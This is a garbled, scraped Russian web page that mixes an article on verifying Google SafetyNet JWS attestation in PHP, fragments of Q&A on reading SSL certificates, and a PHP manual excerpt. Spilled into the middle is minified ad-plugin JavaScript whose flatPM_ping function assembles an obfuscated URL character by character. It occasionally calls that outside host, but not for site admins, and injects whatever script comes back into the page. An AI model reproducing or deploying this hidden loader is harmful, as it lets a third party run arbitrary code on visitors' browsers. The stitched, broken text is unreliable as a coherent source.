- Описание процесса верификации на стороне сервера jws от удостоверяющего центра
- How to get ssl certificate info with curl in php?
- Php – как проверить, есть ли у домена сертификат ssl или нет? – web-answers
- Php: параметры ключа/сертификата – manual
- Верификация сигнатуры
- Верификация тела jws
- О технологии
- Обновление 2
- Ответ 1
- Ответ 3
- Подробнее о jws
- Проверка сертификата в php
- Проверка сертификатов
- Вместо заключения. библиотека на php
Описание процесса верификации на стороне сервера jws от удостоверяющего центра
Документация Google в рамках тестирования на сервере предлагает организовать online-механизм верификации JWS, при котором с сервера приложения отправляется запрос с JWS на удостоверяющий сервис Google. А в ответе от сервиса Google содержится полный результат проверки JWS.
Но данный метод проверки JWS для промышленного использования не рекомендуются. И даже больше: для каждого приложения существует ограничение в виде 10 000 запросов в сутки (подробнее об ограничениях — здесь), после которых вы выгребите квоту и перестанете получать от него вменяемый ответ. Только информацию об ошибке.
Далее расскажу обо всём алгоритме верификации JWS, в том числе о верификации самих сертификатов (проверке цепочки сертификатов).
How to get ssl certificate info with curl in php?
No. EDIT: A CURLINFO_CERTINFO option has been added to PHP 5.3.2. See http://bugs.my-sertif.ru/49253
Apparently, that information is being given to you by your proxy in the response headers. If you want to rely on that, you can use curl’s CURLOPT_HEADER option to trueto include the headers in the output.
However, to retrieve the certificate without relying on some proxy, you must do
<?php
$g = stream_context_create (array("ssl" => array("capture_peer_cert" => true)));
$r = fopen("https://www.google.com/", "rb", false, $g);
$cont = stream_context_get_params($r);
var_dump($cont["options"]["ssl"]["peer_certificate"]);
You can manipulate the value of $cont["options"]["ssl"]["peer_certificate"] with the OpenSSL extension.
EDIT: This option is better since it doesn’t actually make the HTTP request and does not require allow_url_fopen:
<?php
$g = stream_context_create (array("ssl" => array("capture_peer_cert" => true)));
$r = stream_socket_client("ssl://www.google.com:443", $errno, $errstr, 30,
STREAM_CLIENT_CONNECT, $g);
$cont = stream_context_get_params($r);
var_dump($cont["options"]["ssl"]["peer_certificate"]);
Php – как проверить, есть ли у домена сертификат ssl или нет? – web-answers
“:’
‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘
‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘
“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘
‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’
Закрыть через ‘ o.how.outgoing.timer_count “
“:’
‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘
‘ c “
“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘
‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”
“],thead:[1,”
“],tbody:[1,”
“],colgroup:[2,”
“],col:[3,”
“],tr:[2,”
“],td:[3,”
“],th:[3,”
“],_default:[0,””,””]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(“div”)),n=(d.exec(e)||[“”,””])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,”<$1>”) n[2],r=n[0];r–;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,n=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’
‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘
‘);var t=e.closest(“.flat__4_video”);-1!==r.indexOf(“go” “oglesyndication”)?t.append(r):flatPM_setHTML(t[0],r),e.find(“.flat__4_video_flex”).one(“click”,function(){l(this).addClass(“show”)})}),l(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=l(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),n=parseInt(o),r=setInterval(function(){a.text(–n),n<=0&&(clearInterval(r),”true”==d?a.parent().replaceWith(‘
‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){l(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&l(“.flat__4_video_flex”).remove()})};
Php: параметры ключа/сертификата – manual
Некоторые функции openssl требуют параметры в виде ключа или сертификата.
Можно использовать один из следующих вариантов:
Сертификаты
Экземпляр OpenSSLCertificate
(или до PHP 8.0.0 ресурс (resource) типаOpenSSL X.509), возвращаемый функцией
openssl_x509_read()- Строка формата
file://path/to/cert.pem; указанный файл должен содержать
сертификат в формате PEM
Строка, в которой находится содержимое сертификата/ключа, закодированного PEM
Запросы подписи сертификата (Certificate Signing Requests или CSRs)
Экземпляр OpenSSLCertificateSigningRequest
(или до PHP 8.0.0 ресурс (resource) типаOpenSSL X.509 CSR), возвращаемый функцией
openssl_csr_new()- Строка вида
file://path/to/csr.pem; указанный файл должен содержать CSR
в формате PEM
Строка с CSR, кодированная в формате PEM, должна начинаться с —–BEGIN CERTIFICATE REQUEST—–
Открытые/закрытые ключи
Экземпляр OpenSSLAsymmetricKey
(или до PHP 8.0.0 ресурс (resource) типаOpenSSL key), возвращаемый функцией
openssl_get_publickey() или
openssl_get_privatekey()
Только для открытых ключей: экземпляр OpenSSLCertificate
(или до PHP 8.0.0 ресурс (resource) типаOpenSSL X.509)
- Строка формата
file://path/to/file.pem – указанный файл должен содержать
сертификат в формате PEM (может содержать оба ключа)
Строка, в которой находится содержимое сертификата/ключа, закодированного PEM
Для закрытых ключей возможно использование синтаксиса
array($key, $passphrase)где $key представляет
ключ указанный при помощи формата file:// или текстовое содержимое описанное выше, а
$passphrase представляет строку, содержащую пароль для указанного
закрытого ключа
Верификация сигнатуры
Здесь нужно совершить одно действие, которое даст нам понимание того, что Header и Body ответа JWS подписаны сервером авторизации Google. Для этого в исходном виде склеиваем Header c Body (с разделителем в виде “.”) и проверяем сигнатуру:
protected function guardSignature(Statement $statement): bool
{
$jwsHeaders = $statement->getRawHeaders();
$jwsBody = $statement->getRawBody();
$signData = $jwsHeaders . '.' . $jwsBody;
$stringPublicKey = (string)$statement->getHeader()->getCertificateChain()->getPublicKey();
[$checkMethod, $algorithm] = JWT::$supported_algs[$statement->getHeader()->getAlgorithm()];
if ($checkMethod != 'openssl') {
throw new CheckSignatureException('Not supported algorithm function');
}
if (openssl_verify($signData, $statement->getSignature(), $stringPublicKey, $algorithm) < 1) {
throw new CheckSignatureException('Signature is invalid');
}
return true;
}Верификация тела jws
Самый значимым пункт для определения характеристик, участвующего в обмене устройства с приложением. Что нам нужно проверить на данном этапе:
1. Проверка nonce.
Тут все просто. Распаковали JWS, получили в Body nonce и сверили с тем, что у нас сохранено на сервере:
private function guardNonce(Nonce $nonce, StatementBody $statementBody): bool
{
$statementNonce = $statementBody->getNonce();
if (!$statementNonce->isEqual($nonce)) {
throw new WrongNonce('Invalid nonce');
}
return true;
}2. Проверяем заручено ли устройство, с которого происходит запрос.
Тут нужно принять решение, на что вы будете опираться для закрытия того или иного функционала пользователей, не прошедших эту проверку.
Есть два параметра, на основе которых можно принимать решение о надежности устройства: ctsProfileMatch и basicIntegrity. ctsProfileMatch — более строгий критерий, он определяет сертифицировано ли устройство в Google Play и верифицировано ли устройство в сервисе проверки безопасности Google. basicIntegrity — определяет, что устройство не было скомпрометировано.
private function guardDeviceIsNotRooted(StatementBody $statementBody): bool
{
$ctsProfileMatch = $statementBody->getCtsProfileMatch();
$basicIntegrity = $statementBody->getBasicIntegrity();
if (empty($ctsProfileMatch) || !$ctsProfileMatch) {
throw new ProfileMatchFieldError('Device is rooted');
}
if (empty($basicIntegrity) || !$basicIntegrity) {
throw new BasicIntegrityFieldError('Device can be rooted');
}
return true;
}3. Проверяем время начала прохождения аттестации.
Тоже ничего сложного. Нужно проверить, что с момента ответа от сервера Google прошло немного времени. По сути, нет чётких критериев прохождения теста — с реферальным значением нужно определиться самим.
private function guardTimestamp(StatementBody $statementBody): bool
{
$timestampDiff = $this->config->getTimeStampDiffInterval();
$timestampMs = $statementBody->getTimestampMs();
if (abs(microtime(true) * 1000 - $timestampMs) > $timestampDiff) {
throw new TimestampFieldError('TimestampMS and the current time is more than ' . $timestampDiff . ' MS');
}
return true;
}4. Проверяем подпись приложения.
Здесь тоже два параметра: apkDigestSha256 и apkCertificateDigestSha256. Но apkDigestSha256 самой Google помечен как нерекомендуемый способ проверки. С марта 2021 года они начали добавлять мета-информацию в приложения — из-за чего ваш хеш подписи приложения может не сходиться с тем, который будет приходить в JWS (подробнее — здесь).
Поэтому единственным способом проверки остается проверка хеша подписи приложения apkCertificateDigestSha256. Фактически этот параметр нужно сравнить с теми sha1 ключа, которым подписываете apk при загрузке в Google Play.
private function guardApkCertificateDigestSha256(StatementBody $statementBody): bool
{
$apkCertificateDigestSha256 = $this->config->getApkCertificateDigestSha256();
$testApkCertificateDigestSha256 = $statementBody->getApkCertificateDigestSha256();
if (empty($testApkCertificateDigestSha256)) {
throw new ApkDigestShaError('Empty apkCertificateDigestSha256 field');
}
$configSha256 = [];
foreach ($apkCertificateDigestSha256 as $sha256) {
$configSha256[] = base64_encode(hex2bin($sha256));
}
foreach ($testApkCertificateDigestSha256 as $digestSha) {
if (in_array($digestSha, $configSha256)) {
return true;
}
}
throw new ApkDigestShaError('apkCertificateDigestSha256 is not valid');
}5. Проверяем имя приложения, запросившего аттестацию.
Сверяем название приложения в JWS с известным названием нашего приложения.
private function guardApkPackageName(StatementBody $statementBody): bool
{
$apkPackageName = $this->config->getApkPackageName();
$testApkPackageName = $statementBody->getApkPackageName();
if (empty($testApkPackageName)) {
throw new ApkNameError('Empty apkPackageName field');
}
if (!in_array($testApkPackageName, $apkPackageName)) {
throw new ApkNameError('apkPackageName ' . $testApkPackageName. ' not equal ' . join(", ", $apkPackageName));
}
return true;
}О технологии
Технология SafetyNet Attestation разработана Google как средство предоставления разработчикам мобильных приложений информации о надёжности приложения клиента при взаимодействии с сервером, который обслуживает мобильное приложение. Для этого в протоколе взаимодействия предусмотрен удостоверяющий сервис от Google, обеспечивающий верификацию, и представлены рекомендации по проверке ответа от удостоверяющего центра на стороне сервера.
Google пишет, что данный метод проверки не может исключить все принятые на сегодняшний момент методы защиты и верификации устройств. То есть SafetyNet не представляет собой единственный механизм защиты от небезопасного трафика, а создавался как дополнительный инструмент.
Что позволяет проверить технология:
Что именно вы являетесь автором приложения, которое сейчас взаимодействует с сервером.
Что в процессе взаимодействия клиента и сервера нет больше никого, кроме вашего приложения и сервера.
Что операционная система мобильного устройства не претерпела изменений, критичных для обеспечения безопасного обмена с сервером (не «заручено» — не взломано, а также то, что устройство прошло аттестацию совместимости с Android).
В каких случаях механизм не применим или не имеет смысла:
На устройстве пользователя отсутствует интернет, нет возможности связаться с удостоверяющим центром. В таком случае API выдаст ошибку на клиенте, и мы не сможем получить подписанный токен для проверки на сервере.
Если попытаемся выполнить верификацию подписанного токена в самом мобильном приложении (без участия сервера), так как проверка клиента не должна происходить на клиенте. Если у вас приложение без Backend, или вы в принципе не планируете верификацию SafetyNet на серверной части приложения, то нет смысла устанавливать и настраивать этот механизм проверки.
Если требуется детальное понимание статусов модификации системы, на которой работает мобильное приложение. В протокол заложен механизм однозначного определения модификации устройства. Он состоит из двух переменных: ctsProfileMatch и basicIntegrity. Об их назначении — чуть ниже.
Остальные пункты в рамках этой статьи, на мой взгляд, менее интересны. Общий принцип такой: если вам нужно что-то очень точное или что-то, что обезопасит контент, — ищите другой (дополнительный) способ защиты. Аналогично в случае, когда вы не собираетесь реализовывать проверку в нормальном порядке, как это задумано протоколом, или ваше приложение опирается на созданные уязвимости в конфигурации устройства.
Схематично процесс проверки клиента можно представить в виде схемы:
Рассмотрим поэтапно процесс верификации устройств по протоколу:
Обновление 2
Кажется, что вы можете захватить сертификат SSL с использованием параметров пара и проанализировать его с помощью openssl_x509_parse.
$cont = stream_context_get_params($r);
print_r(openssl_x509_parse($cont["options"]["ssl"]["peer_certificate"]));
Ответ 1
Чтобы не загружать уже перекрытые и уже не слишком много на тему, ответьте на большее количество текста, я оставляю это, чтобы разобраться с тем, почему и почему, и здесь я опишу, как.
Ответ 3
как проверить, действительно ли действительный сертификат принадлежит домену /IP, к которому я подключаюсь?
Подробнее о jws
JWS представляет собой три текстовых (base64 зашифрованных) выражения, разделенные точками (header.body.signature):
Например:
eyJhbGciOiJSUzI1NiIsICJ4NWMiOiBbInZlcnlzZWN1cmVwdWJsaWNzZXJ0Y2hhaW4xIiwgInZlcnlzZWN1cmVwdWJsaWNzZXJ0Y2hhaW4yIl19.ewogICJub25jZSI6ICJ2ZXJ5c2VjdXJlbm91bmNlIiwKICAidGltZXN0YW1wTXMiOiAxNTM5ODg4NjUzNTAzLAogICJhcGtQYWNrYWdlTmFtZSI6ICJ2ZXJ5Lmdvb2QuYXBwIiwKICAiYXBrRGlnZXN0U2hhMjU2IjogInh5eHl4eXh5eHl4eXh5eHl5eHl4eXg9IiwKICAiY3RzUHJvZmlsZU1hdGNoIjogdHJ1ZSwKICAiYXBrQ2VydGlmaWNhdGVEaWdlc3RTaGEyNTYiOiBbCiAgICAieHl4eXh5eHl4eXh5eHl4eXh5eD09PT09Lz0iCiAgXSwKICAiYmFzaWNJbnRlZ3JpdHkiOiB0cnVlCn0=.c2lnbmF0dXJl
В данном примере после расшифровки base64 получим:
Header :
json_decode(
base64_decode(
“eyJhbGciOiJSUzI1NiIsICJ4NWMiOiBbInZlcnlzZWN1cmVwdWJsaWNzZXJ0Y2hhaW4xIiwgInZlcnlzZWN1cmVwdWJsaWNzZXJ0Y2hhaW4yIl19”
)
)
=
{
"alg":"RS256",
"x5c":[
"verysecurepublicsertchain1",
"verysecurepublicsertchain2"
]
}Body:
json_decode(
base64_decode(
“ewogICJub25jZSI6ICJ2ZXJ5c2VjdXJlbm91bmNlIiwKICAidGltZXN0YW1wTXMiOiAxNTM5ODg4NjUzNTAzLAogICJhcGtQYWNrYWdlTmFtZSI6ICJ2ZXJ5Lmdvb2QuYXBwIiwKICAiYXBrRGlnZXN0U2hhMjU2IjogInh5eHl4eXh5eHl4eXh5eHl5eHl4eXg9IiwKICAiY3RzUHJvZmlsZU1hdGNoIjogdHJ1ZSwKICAiYXBrQ2VydGlmaWNhdGVEaWdlc3RTaGEyNTYiOiBbCiAgICAieHl4eXh5eHl4eXh5eHl4eXh5eD09PT09Lz0iCiAgXSwKICAiYmFzaWNJbnRlZ3JpdHkiOiB0cnVlCn0=”
)
)
=
{
"nonce":"verysecurenounce",
"timestampMs":1539888653503,
"apkPackageName":"very.good.app",
"apkDigestSha256":"xyxyxyxyxyxyxyxyyxyxyx=",
"ctsProfileMatch":true,
"apkCertificateDigestSha256":[
"xyxyxyxyxyxyxyxyxyx=====/="
],
"basicIntegrity":true
}Signature
json_decode(
base64_decode(
“c2lnbmF0dXJl”
)
)
=
“signature”Остановимся на том, что именно содержится во всем JWS.
Header:
Body:
Signature
Бинарная сигнатура, с помощью которой можно сделать заключение, что тело сообщения JWS было подписано с использованием сертификатов (цепочки сертификатов) указанных в Header, и с использованием известного нам приватного ключа. Ключевое — позволяет понять, что в цепочке взаимодействия нет никого, кроме нас и удостоверяющего центра Google.
Проверка сертификата в php
Значение проверки хоста в разных программах кажется мутным в лучшем случае.
Итак, я решил разобраться в этом и загрузил исходный код OpenSSL (openssl-1.0.1c) и попытался проверить сам.
Я не нашел ссылок на код, который я ожидал, а именно:
- пытается проанализировать строку с разделителями двоеточия
- ссылки на
subjectAltName(который OpenSSL вызываетSN_subject_alt_name) - использование “DNS [:]” в качестве разделителя
OpenSSL, кажется, помещает все данные сертификата в структуру, запускает очень простые тесты для некоторых из них, но большинство “удобочитаемых” полей остаются в силе. Это имеет смысл: можно утверждать, что проверка имени на более высоком уровне, чем проверка подписи сертификата
Затем я загрузил также последнюю версию cURL и последнюю версию tarball.
В исходном коде PHP я тоже ничего не нашел; по-видимому, любые параметры просто передаются по строке и в противном случае игнорируются. Этот код запускался без предупреждения:
stream_context_set_option($smtp, 'ssl', 'I-want-a-banana', True);
и stream_context_get_options позже послушно извлечены
[ssl] => Array
(
[I-want-a-banana] => 1
...
Это тоже имеет смысл: PHP не может знать, в контексте контекстного параметра-параметра, какие параметры будут использоваться в строке.
Точно так же код синтаксического анализа сертификата анализирует сертификат и извлекает информацию OpenSSL, помещенную там, но не подтверждает эту же информацию.
Итак, я выкопал немного глубже и, наконец, нашел код подтверждения сертификата в cURL, здесь:
// curl-7.28.0/lib/ssluse.c
static CURLcode verifyhost(struct connectdata *conn,
X509 *server_cert)
{
Проверка сертификатов
Перейдём к непосредственной проверки каждой части полученного JWS. Начнём с сертификатов и алгоритма шифрования:
1. Проверяем, что алгоритм, с помощью которого подписано тело, нами поддерживается:
[$checkMethod, $algorithm] = JWT::$supported_algs[$statement->getHeader()->getAlgorithm()];
if ($checkMethod != 'openssl') {
throw new CheckSignatureException('Not supported algorithm function');
}2. Проверяем, что сертификат (цепочка сертификатов), содержащиеся в Header (поле x5c), удовлетворяют нас по содержимому (загружаются в качестве публичных ключей):
private function extractAlgorithm(array $headers): string
{
if (empty($headers['alg'])) {
throw new EmptyAlgorithmField('Empty alg field in headers');
}
return $headers['alg'];
}
private function extractCertificateChain(array $headers): X509
{
if (empty($headers['x5c'])) {
throw new MissingCertificates('Missing certificates');
}
$x509 = new X509();
if ($x509->loadX509(array_shift($headers['x5c'])) === false) {
throw new CertificateLoadError('Failed to load certificate');
}
while ($textCertificate = array_shift($headers['x5c'])) {
if ($x509->loadCA($textCertificate) === false) {
throw new CertificateCALoadError('Failed to load certificate');
}
}
if ($x509->loadCA(RootGoogleCertService::rootCertificate()) === false) {
throw new RootCertificateError('Failed to load Root-CA certificate');
}
return $x509;
}3. Валидируем сигнатуру сертификата (цепочки сертификатов):
private function guardCertificateChain(StatementHeader $header): bool
{
if (!$header->getCertificateChain()->validateSignature()) {
throw new CertificateChainError('Certificate chain signature is not valid');
}
return true;
}Вместо заключения. библиотека на php
Уже после решения задачи и отдельно от нашей кодовой базы, я разработал библиотеку на PHP, которая обеспечивает полный цикл верификации JWS.
